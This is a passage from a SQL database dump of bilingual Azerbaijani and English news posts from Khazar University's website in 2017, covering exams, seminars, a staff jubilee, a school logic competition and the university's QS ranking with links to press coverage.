edirik.</p>'),(3867,2251,'en','Examinations at Khazar','We present to you photos from our current examination session...','<p>We present to you photos from our current examination session.</p>'),(3868,2252,'az','Tarix dərsləri muzeydə keçirildi','Xəzər Universiteti Tarix və arxeologiya departamentinin müəllimləri mütəmadi olaraq hər dərs ilində tədris edilən fənlərlə əlaqədar muzeylərə və sərgilərə ekskursiyalar təşkil edərək...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Xəzər Universiteti Tarix və arxeologiya\r\ndepartamentinin müəllimləri mütəmadi olaraq hər dərs ilində tədris edilən fənlərlə\r\nəlaqədar muzeylərə və sərgilərə ekskursiyalar təşkil edərək tələbələrin\r\ndünyagörüşünün genişlənməsinə çalışırlar. Belə ekskursiyalarda tələbələr əyani\r\nolaraq gördüklərini nəzəri bilikləri ilə əlaqələndirməyi öyrənir, onlarda maraq\r\noyadan eksponatların tarixçəsini yadda saxladıqlarından dövr haqqında daha\r\nartıq biliklərə yiyələnirlər. Departamentin daha sıx əməkdaşlıq etdiyi muzey Azərbaycan\r\nTarixi Muzeyidir, çünki bütün fakültələrdə Azərbaycan tarixi tədris edildiyindən\r\nbu muzeyin payına düşən ünsiyyət daha çox olur. Tarix və arxeologiya\r\ndepartamenti Azərbaycan Tarixi Muzeyinin rəhbərliyinə və bütün əməkdaşlarına dərslərin\r\nmuzeydə təşkilində yaxından köməklik göstərdiklərinə görə təşəkkür edir, Xəzər\r\nUniversiteti ilə əlaqə quran digər bütün muzeylərə minnətdarlıgını bildirir.</p>'),(3869,2253,'az','Vurğun Əyyubun kitabı çapdan çıxdı','Azərbaycan dili və ədəbiyyatı departamentinin müdiri dosent Vurğun Əyyubun “Azərbaycan romantizmini araşdırarkən…” adlı kitabı “Elm və təhsil” nəşriyyatında çapdan çıxmışdır...','<p>Azərbaycan dili və ədəbiyyatı\r\ndepartamentinin müdiri dosent Vurğun\r\nƏyyubun “Azərbaycan romantizmini\r\naraşdırarkən…” adlı kitabı “Elm və təhsil” nəşriyyatında çapdan\r\nçıxmışdır. Kitaba müəllifin “Azərbaycan romantiklərinin yaradıcılığında vətəndaşlıq\r\nlirikası (1905-1920-ci illər)” adlı tədqiqatı, Azərbaycan ədəbiyyatında\r\nromantizm və romantikanın problemlərinə işıq salan müxtəlif illərdə yazılmış məqalələr\r\ndaxildir.</p>'),(3870,2254,'az','Xəzər Universitetində “Netvork marketinq nədir?” mövzusunda seminar keçirildi','2017-ci il mayın 25-də Xəzər Universiteti İqtisadiyyat və menecment fakültəsinin əməkdaşlığı ilə Xəzər Universitetinin “Mərmər” zalında “Netvork marketinq nədir?” mövzusunda...','<p>2017-ci il mayın 25-də Xəzər Universiteti\r\nİqtisadiyyat və menecment fakültəsinin əməkdaşlığı ilə Xəzər Universitetinin “Mərmər”\r\nzalında “Netvork marketinq nədir?” mövzusunda seminar keçirildi. Seminarda\r\nTürkiyədə şəbəkə marketinqi üzrə böyük uğur əldə etmiş gənc biznesmen Enes\r\nOlgun çıxış etdi. </p>\r\n<p>Seminarın sonunda İqtisadiyyat və menecment fakültəsinin\r\ntələbələri onları maraqlandıran sualları qonağa verdilər.</p>'),(3871,2255,'az','“Xəzər”də yubiley','2017-ci il iyunun 6-da Xəzər Universitetinin yarandığı ilk illərdən İngilis dili və ədəbiyyatı departamentində çalışan, baş müəllim Firəngiz Nəsirovanın yubileyi keçirildi...','<p>2017-ci il iyunun 6-da Xəzər Universitetinin\r\nyarandığı ilk illərdən İngilis dili və ədəbiyyatı departamentində çalışan, baş\r\nmüəllim Firəngiz Nəsirovanın yubileyi keçirildi. Tədbirdə universitetin rəhbərliyi,\r\ndekanlar və departament müdirləri, əməkdaşlar iştirak edirdilər.</p>\r\n<p>Universitetin təsisçisi, Direktorlar və Qəyyumlar\r\nŞurasının sədri professor Hamlet İsaxanlı çıxış edərək, F. Nəsirovanın yüksək səviyyəli ingilis dili mütəxəssisləri\r\nhazırlanmasında&nbsp; misilsiz xidmətlərindən,\r\ndepartamentin gənc müəllimlərinin yetişməsində böyük zəhmətindən, tələbələrə\r\ndiqqət və qayğısından, bununla yanaşı, ciddi tələbkarlığından danışdı. Onu\r\njubileyi münasibətiə təbrik edərək, pedaqoji fəaliyyərində və şəxsi həyatında\r\nona uğurlar arzuladı və gül dəstəsi təqdim etdi. </p>\r\n<p>Digər çıxışlarda da F. Nəsirovanın\r\nuniversitetdəki işi yüksək qiymətləndirildi, tərcüməçilik fəaliyyətindən, səmimi,\r\nqayğıkeş bir insan kimi&nbsp; universitet\r\nkollektivinin dərin hərmətini qazanmasından, şux xasiyyəti, şən zarafatları ilə\r\n“Xəzər”in &nbsp;xoş aurasını daha da\r\nartırmasından danışıldı. Bildirildi&nbsp; ki,\r\nuniversitet üzrəki bu tədbirdən əvvəl onun yubileyi İngilis dili və ədəbiyyatı\r\ndepartamentində, Humanitar və sosial elmlər fakültəsinin dekanlığında qeyd\r\nolunmuşdur.</p>\r\n<p>&nbsp;Xəzər Universiteti Direktorlar və Qəyyumlar\r\nŞurasının müşaviri, “Dünya” məktəbinin həmtəsisçisi Nailəxanım İsayeva\r\nyubilyara universitetin hədiyyəsini təqdim etdi.</p>\r\n<p>Səmimi söhbətlə davam edən yubiley&nbsp; tədbiri xoş əhval-ruhiyyə ilə sona çatdı.</p>'),(3872,2256,'az','Tarix və arxeologiya departamentinin müəllimi konfransda','2017-ci il iyunun 5-də  Bakıda Azərbaycan Respublikasının Prezidenti yanında Strateji Araşdırmalar Mərkəzinin (SAM) təşkilatçılığı ilə “Azərbaycan-Gürcüstan...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2017-ci il iyunun 5-də &nbsp;Bakıda\r\nAzərbaycan Respublikasının Prezidenti yanında Strateji Araşdırmalar Mərkəzinin\r\n(SAM) təşkilatçılığı ilə “Azərbaycan-Gürcüstan-Türkiyə üçtərəfli əlaqələri:\r\ngələcəyə baxış” mövzusunda konfrans keçirildi. Konfransda Xəzər Universitetinin\r\nTarix və arxeologiya departamentinin əməkdaşı professor Habil Məmmədov da\r\niştirak edirdi.</p>'),(3873,2247,'en','Khazar’s singer teacher at the concert of “Dalga” ashiq group','On May 24th, the concert of “Dalga” ashiq group led by Chingiz Mehdipur was held at the Heydar Aliyev Palace. Azerbaijani ashiqs, Nabi Nagiyev and Ali Zeynalabdinov...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:150%\"\"=\"\">On May 24<sup>th</sup>,\r\nthe concert of “Dalga” ashiq group led by Chingiz Mehdipur was held at the Heydar\r\nAliyev Palace. Azerbaijani ashiqs, Nabi Nagiyev and Ali Zeynalabdinov, singers -\r\nAyshan Mehdiyeva andMahsati Jabbarova (Azafli), a vocal\r\nteacher of Khazar University, the soloist of Azerbaijan State Philharmonic Hall\r\nnamed after Muslim Magomayev as well as a master student of Moscow Tchaikovsky\r\nConservatory also participated in the concert of the group arrived from Tabriz.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:150%\"\"=\"\">Mahsati\r\nJabbarova performed “Lachini Koroglu” and “Bayrami” ashiq tunes during the\r\nconcert. For the first time in the Art of Azerbaijani Ashiq, she presented\r\n“Bayrami” ashiq tune to the audience in the style of academic play performance.\r\n</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:150%\"\"=\"\">The concert\r\nwas welcomed with multiple standing ovation. &nbsp;</p>'),(3874,2254,'en','A seminar on ‘What is Network Marketing?’ was held at Khazar University','On May 25, 2017, in cooperation with the School of Economics and Management, Khazar University,  a seminar on ‘What is Network Marketing?’ was held in Marble Hall...','<p>On May 25, 2017, in cooperation with the School of\r\nEconomics and Management, Khazar University, &nbsp;a seminar on ‘What is Network Marketing?’ was\r\nheld in Marble Hall of Khazar University. &nbsp;Enes Olgun, one of the successful young\r\nbusinessmen in Network Marketing in Turkey delivered a speech at the seminar. The\r\nstudents of the School of Economics and Management asked the questions to the\r\nguest and received answers.&nbsp;</p>'),(3875,2257,'az','Təhsil-Elm-Startup və Tripl Heliks modeli üzrə TAIEX seminarı','2017-ci il iyunun 5-i və 6-da Bakıda TAIEX proqramı Azərbaycan Milli Elmlər Akademiyası və Təhsil Nazirliyi ilə birgə “Təhsil-Elm-Startup və Tripl Heliks modeli” mövzusunda...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci\r\nil iyunun 5-i və 6-da Bakıda TAIEX proqramı Azərbaycan Milli Elmlər Akademiyası\r\nvə Təhsil Nazirliyi ilə birgə “Təhsil-Elm-Startup və Tripl Heliks modeli”\r\nmövzusunda seminar təşkil etmişdi. Seminarda Xəzər Universiteti Magistartura,\r\nDoktorantura və Elmi İşlər bölməsinin müdiri f.ü.f.d. Eldar Şahgəldiyev və Neft\r\nmühəndisliyi departamentinin müdiri g-m.ü.f.d. Qəşəm Zeynalov iştirak etdilər. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Seminarın\r\nməqsədi Təhsil-Elm-Startup konsepsiyasının faydalarını izah etmək və Tripl\r\nHeliks modelinin (akademiya, hökümət, sənaye) strukturu ilə tanışlığı təmin etmək\r\nidi. Avropa Birliyinin dörd müxtəlif üzv ölkəsinin mütəxəssisləri biliklərə əsaslanan\r\niqtisadiyyat və Tripl Heliks modeli ilə bağlı təcrübələrini iştirakçılarla paylaşdılar.</p>'),(3876,2258,'az','Xəzər Universiteti QS təşkilatının reytinq siyahısında','2017-ci il iyunun 8-də QS beynəlxalq reytinq təşkilatı dünya üzrə  ali təhsil müəssisələrinin 2017-ci il üçün reytinqini müəyyənləşdirib.Reytinq siyahısına görə  Xəzər universiteti...','<p>2017-ci il iyunun 8-də QS beynəlxalq reytinq təşkilatı dünya üzrə&nbsp;\r\nali təhsil müəssisələrinin 2017-ci il üçün reytinqini müəyyənləşdirib.</p>\r\n<p>Reytinq siyahısına görə Xəzər universiteti dünya universitetləri\r\narasında 701-750 aralığında yerləşir və &nbsp;Azərbaycan universitetləri arasında 1-ci yeri\r\ntutur.</p>\r\n<p>Qeyd edək ki, QS təşkilatı dünyada fəaliyyətdə olan təxminən\r\n26&nbsp;000 universitet haqqında araşdırma aparmışdır. Xəzər Universiteti dünyanın\r\n2.7% seçilmiş aparıcı universitetləri sırasına daxil edilmişdir.</p>\r\n<p>QS təşkilatı dünya universitetlərinin fəaliyyətini 6 əsas meyar üzrə\r\nqiymətləndirir. &nbsp;Bu meyarlar - akademik nüfuz, elmi məqalələrdən sitat gətirmə,\r\nmüəllim-tələbə nisbəti, işəgötürənlər arasında nüfuz, xarici müəllimlərin və\r\nxarici tələbələrin sayıdır.</p>\r\n<p>Ayrıca olaraq, Xəzər Universiteti dünya universitetləri arasında beynəlxalq\r\ntələbələrin qəbuluna görə 388-ci, &nbsp;müəllim-tələbə\r\nnisbətinə görə 339-cu, xarici müəllimlərə görə isə 253-cü yeri tutub.&nbsp;</p>\r\n<p>“QS”&nbsp;təşkilatının son reytinq cədvəli haqqında ətraflı məlumatı\r\nbu linkdən əldə edə bilərsiniz:</p>\r\n<p><a href=\"https://www.topuniversities.com/university-rankings/world-university-rankings/2018\">https://www.topuniversities.com/university-rankings/world-university-rankings/2018</a></p>'),(3877,2258,'en','Khazar University on the list of QS World University Rankings','On June 8th, 2017, QS World University Rankings published rating of world universities for the year of 2017. According to the rating list, overall rank of Khazar University...','<p>On June 8th, 2017, QS\r\nWorld University Rankings published rating of world universities for the year\r\nof 2017.&nbsp; </p>\r\n<p>According to the rating\r\nlist, overall rank of Khazar University&nbsp;\r\nis 701-750 among world universities and it takes the 1st place among the\r\nuniversities in Azerbaijan.&nbsp;</p>\r\n<p>It should be noted that ‘QS’ organisation conducted\r\nresearch among operating 26,000 universities all over the globe. &nbsp;Khazar University has been selected &nbsp;one of the top 2.7% universites in the world.</p>\r\n<p>‘QS’ organisation evaluates\r\nthe world universities based on 6 main criteria: academic reputation, </p>\r\n<p>citation of scientific\r\narticles, reputation among employers, teacher-student ratio, the number of\r\ninternational teachers and students.</p>\r\n<p>Overall, among the world\r\nuniversities,&nbsp; Khazar University takes\r\n388th place according to admission of international students, &nbsp;339th place according to teacher-student ratio\r\nand&nbsp; 253rd place according to the number\r\nof foreign lecturers working at the university.</p>\r\n<p>You can visit the\r\nfollowing link for more detailed information on the recent list of QS World University\r\nRankings:</p>\r\n<p><a href=\"https://www.topuniversities.com/university-rankings/world-university-rankings/2018\">https://www.topuniversities.com/university-rankings/world-university-rankings/2018</a></p>'),(3878,2259,'az','\"Xəzər\" də imtahan həyəcanı','\r\nHal-hazırda keçirilən imtahan sessiyasından çəkilən şəkilləri sizə təqdim edirik...','<p><span style=\"color:#252525;font-family:\'Source Sans Pro\', sans-serif;font-size:18px;background-color:#ffffff\">Hal-hazırda keçirilən imtahan sessiyasından çəkilən şəkilləri sizə təqdim edirik.</span></p>'),(3879,2259,'en','Examinations at Khazar','We present to you photos from our current examination session...','<p>We present to you photos from our current examination session.</p>'),(3880,2260,'az','Xəzər Universitetində növbəti “Açıq qapı” günü keçirildi','2017-ci il iyunun 2-də Xəzər Universitetində növbəti “Açıq qapı” günü keçirildi. Bakının Suraxanı rayonundakı 232 saylı və Nizami rayonundakı 61 saylı məktəblərin XI sinif şagirdləri...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci\r\nil iyunun 2-də Xəzər Universitetində növbəti “Açıq qapı” günü keçirildi.\r\nBakının Suraxanı rayonundakı 232 saylı və Nizami rayonundakı 61 saylı məktəblərin\r\nXI sinif şagirdləri ilə görüş universitetin “Mərmər” zalında baş tutudu. Zalda\r\nixtisas qrupları üzrə və universitetdə fəaliyyət göstərən əsas mərkəzlərin\r\ninformasiya masaları qurulmuşdu.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Tədbiri\r\nuniversitetin Təhsil fakültəsinin dekanı Elza Səmədova açaraq, universitet\r\nhaqqında ətraflı məlumat verdi. Şagirdlər Xəzər Universiteti barəsində\r\nvideoçarxlara baxdılar və onlara universitetin bukletləri paylandı.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Qonaqlar\r\nuniversitetin müxtəlif ölkələrdə yüksək vəzifələrdə çalışan məzunları barəsində\r\nməlumatla tanış oldular. Şagirdlərə konsert proqramı da təqdim olundu.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Sonra\r\nşaqirdlər ixtisas və mərkəz masaların ətrafında əməkdaşlarla söhbət edib, öz\r\nsuallarına ətraflı cavab aldılar.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Tədbir\r\nbaşa&nbsp; çatdıqdan sonra şagirdlər\r\nuniversitetin laboratoriyaları ilə tanış oldular.</p>'),(3881,2261,'az','\"Xəzər\" də imtahan həyəcanı','Hal-hazırda keçirilən imtahan sessiyasından çəkilən şəkilləri sizə təqdim edirik...','<p>Hal-hazırda keçirilən imtahan sessiyasından çəkilən şəkilləri sizə təqdim edirik.</p>'),(3882,2261,'en','Examinations at Khazar','\r\nWe present to you photos from our current examination session...','<p><span style=\"color:#252525;font-family:\'Source Sans Pro\', sans-serif;font-size:18px;background-color:#ffffff\">We present to you photos from our current examination session.</span></p>'),(3883,2262,'az','Hamlet İsaxanlı universitetlərdə hazırlıq kurslarının yaradılmasına münasibət bildirdi','2017-ci il iyunun 8-də “Şərq” qəzetinin rəsmi internet səhifəsində Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">2017-ci il iyunun 8-də “Şərq” qəzetinin rəsmi internet səhifəsində\r\nXəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri\r\nprofessor Hamlet İsaxanlının universitetlərdə hazırlıq kurslarının yaradılması\r\nilə bağlı təklifə münasibəti yer almışdır.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">Məqaləni tam şəkildə bu link vasitəsilə oxumaq olar:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://www.sherg.az/site/id-32412/_Professordan_m%C3%BCk%C9%99mm%C9%99l_%C4%B0ZAH:_%22Universitetl%C9%99rd%C9%99_kurslar_yarad%C4%B1lsa,_neqativ_hallar..._%22#Kalibri\">http://www.sherg.az/site/id-32412/_Professordan_mükəmməl_İZAH:_”Universitetlərdə_kurslar_yaradılsa,_neqativ_hallar...”</a></p>'),(3884,2252,'en','History Lessons Conducted in the Museum','The teachers of the Department of History and Archeology, Khazar University try to broaden the students’ outlook by constantly organizing subject-related excursions to the museums...','<p>The teachers of the\r\nDepartment of History and Archeology, Khazar University try to broaden the students’\r\noutlook by constantly organizing subject-related excursions to the museums and\r\nexhibitions within each academic year. By means of these excursions, students\r\nlearn to apply their theoretical know-how into practice and assimilate more\r\nknowledge about the specific historical period by remembering easily the\r\nexhibits of their own interest. The Department has a closer cooperation with\r\nthe History Museum of Azerbaijan as the History of Azerbijan is taught in each\r\nfaculty and a larger part of communication falls onto the part of the given\r\nmuseum. The Department of History and Archeology shows gratitude to the\r\nmanagement and the whole staff of the History Museum of Azerbaijan for their\r\ncontribution in the organization of lessons and also thanks the other museums\r\nfor their cooperation with Khazar University.</p>'),(3885,2248,'en','\"Logic Competition\" was held at Khazar University','On June 1, 2017, the final round of the staged ‘Logic Competition’ among Surakahani district 6-7 grade secondary schoolchildren was held by the initiative of Khazar University...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">On June 1, 2017, the final round\r\nof the staged ‘Logic Competition’ among Surakahani district 6-7 grade secondary\r\nschoolchildren was held by the initiative of Khazar University and school No. 232\r\nwithin the \"University - School cooperation\" framework. Each lasting\r\n15 minutes, the competition consisted of three stages. Along with students of\r\nSchool No. 232, teachers and students from Schools No. 140, 85, 226, 149 and\r\n193 also took part in the aforementioned competition. Altogether, 7 teams and 6\r\nteam members in each team participated in the final stage. Throughout the\r\ncompetition, students from the schools were supporting their teams. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Results were evaluated by the jury\r\nconsisting of six executives of Khazar University and Baku Department of\r\nEducation. As a result, School No. 149 took the premier place. Accordingly, School\r\nNo. 232 was ranked for the second and School No 85 was qualified for the third\r\nplace. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">At the end of the competition, all\r\nteams were awarded with certificates. In addition to this, the teams which won\r\nthe first three places were awarded with diplomas and medals. The 1st place\r\nteam was awarded with a Cup. Moreover, the students who took part in the\r\ncompetition were given gifts by the Baku Department of Education and Khazar\r\nUniversity.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">The event ended with a final word\r\nof Professor Hamlet Isakhanli, the founder of Khazar University and &nbsp;Chairman of its Board of Directors and\r\nTrustees. He expressed his gratitude to Mahluga Azizova, the Director of School\r\nNo. 232 for her initiative in \"University - School cooperation\". </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">During the breaks, a group of students\r\nand teachers of the university performed music and dance numbers. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">A memory picture was taken at the\r\nend. &nbsp;</p>'),(3886,2262,'en','Prof. Hamlet Isakhanli commented on creating Foundation Courses at universities','On 8 June, 2017 the founder of Khazar University and Chairman of its Board of Directors and Trustees, Professor Hamlet Isakhanli, commented on the official website of the...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">On\r\n8 June, 2017 the founder of Khazar University and Chairman of its\r\nBoard of Directors and Trustees, Professor Hamlet Isakhanli,\r\ncommented on the official website of the \"East\" newspaper on the proposal\r\nof creating Foundation Courses at universities. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">The\r\nfull article can be read via the link below: &nbsp;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://www.sherg.az/site/id-32412/_Professordan_m%C3%BCk%C9%99mm%C9%99l_%C4%B0ZAH:_%22Universitetl%C9%99rd%C9%99_kurslar_yarad%C4%B1lsa,_neqativ_hallar..._%22#Kalibri\">http://www.sherg.az/site/id-32412/_Professordan_mükəmməl_İZAH:_”Universitetlərdə_kurslar_yaradılsa,_neqativ_hallar..._”</a></p>'),(3887,2263,'az','\"Xəzər\" də imtahan həyəcanı','\r\nHal-hazırda keçirilən imtahan sessiyasından çəkilən şəkilləri sizə təqdim edirik...','<p><span style=\"color:#252525;font-family:\'Source Sans Pro\', sans-serif;font-size:18px;background-color:#ffffff\">Hal-hazırda keçirilən imtahan sessiyasından çəkilən şəkilləri sizə təqdim edirik.</span></p>'),(3888,2263,'en','Examinations at Khazar','We present to you photos from our current examination session...','<p>We present to you photos from our current examination session.</p>'),(3889,2256,'en','The teacher of History and Archeology Department at the Conference','On June 5, 2017  the conference entitled “ Azerbaijani-Georgian-Turkish Relations: Vision for the Future\"  was organised by the Centre for Strategic Studies under the President...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">On June 5,\r\n2017 &nbsp;the conference entitled “ Azerbaijani-Georgian-Turkish\r\nRelations: Vision for the Future\" &nbsp;was organised by the Centre for Strategic\r\nStudies under the President of Azerbaijan Republic. Professor Habil Mammadov, a\r\nteacher of History and Archeology Department , &nbsp;Khazar University participated at the\r\nconference.&nbsp;</p>'),(3890,2264,'az','Azərbaycan mediası: “Xəzər Universiteti Azərbaycanda birincidir”','Xəbər verildiyi kimi, 2017-ci il iyunun 8-də “QS” universitetlərin reytinqi təşkilatı dünya üzrə ali təhsil müəssisələrinin 2017-ci il üçün reytinqini müəyyənləşdirmişdir...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Xəbər verildiyi kimi,\r\n2017-ci il iyunun 8-də “QS” universitetlərin reytinqi təşkilatı dünya üzrə ali\r\ntəhsil müəssisələrinin 2017-ci il üçün reytinqini müəyyənləşdirmişdir. Reytinq\r\nsiyahısında Xəzər Universiteti Azərbaycan universitetləri arasında birinci yeri\r\ntutur, dünya universitetləri arasında isə 701-750 aralığında yerləşir.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Bununla bağlı Azərbaycan\r\nmediasında çoxsaylı xəbərlər yer almışdır:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://azertag.az/xeber/Xezer_Universiteti_QS_teskilatinin_reytinq_siyahisinda-1068712\">http://azertag.az/xeber/Xezer_Universiteti_QS_teskilatinin_reytinq_siyahisinda-1068712</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://deyerler.org/365934-zhn-yaxed-universitetljr-siyahdsdnda-azjrbaycandn-iki-tjhsil-ocadd-var.html\">http://deyerler.org/365934-zhn-yaxed-universitetljr-siyahdsdnda-azjrbaycandn-iki-tjhsil-ocadd-var.html</a>;&nbsp;&nbsp; </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://musavat.com/news/en-yaxsi-universitetler-siyahisinda-azerbaycanin-iki-tehsil-ocagi-var_444911.html\">http://musavat.com/news/en-yaxsi-universitetler-siyahisinda-azerbaycanin-iki-tehsil-ocagi-var_444911.html</a>;\r\n</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://www.moderator.az/news/180749.html\">http://www.moderator.az/news/180749.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://azinforum.az/%c9%99n-yaxsi-universitetl%c9%99r-siyahisinda-az%c9%99rbaycanin-iki-t%c9%99hsil-ocagi-var/#Kalibri\">http://azinforum.az/Ən-yaxsi-universitetlər-siyahisinda-azərbaycanin-iki-təhsil-ocagi-var/</a>;\r\n</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://regionplus.az/posts/view/91923\">http://regionplus.az/posts/view/91923</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://median.az/index.php?newsid=47536\">http://median.az/index.php?newsid=47536</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://www.1news.az/society/20170608033626925.html\">http://www.1news.az/society/20170608033626925.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://kaspiy.az/news.php?id=62073\">http://kaspiy.az/news.php?id=62073</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://baku.ws/89405-azerbaydzhanskie-universitety-edva-voshli-v-top-800.html\">http://baku.ws/89405-azerbaydzhanskie-universitety-edva-voshli-v-top-800.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://www.pia.az/Azerbaycanin_iki_universiteti_dunyanin_-199652-xeber.html\">http://www.pia.az/Azerbaycanin_iki_universiteti_dunyanin_-199652-xeber.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://naxcivanxeberleri.com/az%c9%99rbaycanin-iki-universiteti-dunyanin-%c9%99n-yaxsilari-arasinda/#Kalibri\">http://naxcivanxeberleri.com/azərbaycanin-iki-universiteti-dunyanin-ən-yaxsilari-arasinda</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://eurasiadiary.com/az/news/society/148976-azerbaycanin-iki-universiteti-dunyanin-en-yaxsilari-arasinda\">http://eurasiadiary.com/az/news/society/148976-azerbaycanin-iki-universiteti-dunyanin-en-yaxsilari-arasinda</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://regioninfo.az/az%c9%99rbaycanin-iki-universiteti-dunyanin-%c9%99n-yaxsilari-arasinda-siyahi/#Kalibri\">http://regioninfo.az/azərbaycanin-iki-universiteti-dunyanin-ən-yaxsilari-arasinda-siyahi/</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://www.tezadlar.az/ortam/25552-xzr-universiteti-qs-tkilatnn-reytinq-siyahsnda.html\">http://www.tezadlar.az/ortam/25552-xzr-universiteti-qs-tkilatnn-reytinq-siyahsnda.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://az.azvision.az/news/119193/azerbaycanin-iki-universiteti-dunyanin-en-yaxsilari-arasinda-%E2%80%93-siyahi-.html\">http://az.azvision.az/news/119193/azerbaycanin-iki-universiteti-dunyanin-en-yaxsilari-arasinda-%E2%80%93-siyahi-.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://a24.az/azerbaycanin-iki-universiteti-dunya-reytinqinde-hansi-birincidir/\">http://a24.az/azerbaycanin-iki-universiteti-dunya-reytinqinde-hansi-birincidir/</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://xeberlent.az/index.php?do=xeber_inner&amp;id=22527\">http://xeberlent.az/index.php?do=xeber_inner&amp;id=22527</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://femida.az/news.php?id=56125\">http://femida.az/news.php?id=56125</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://www.xezerxeber.az/G%C3%BCnd%C9%99m/163515.html\">http://www.xezerxeber.az/Gündəm/163515.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a 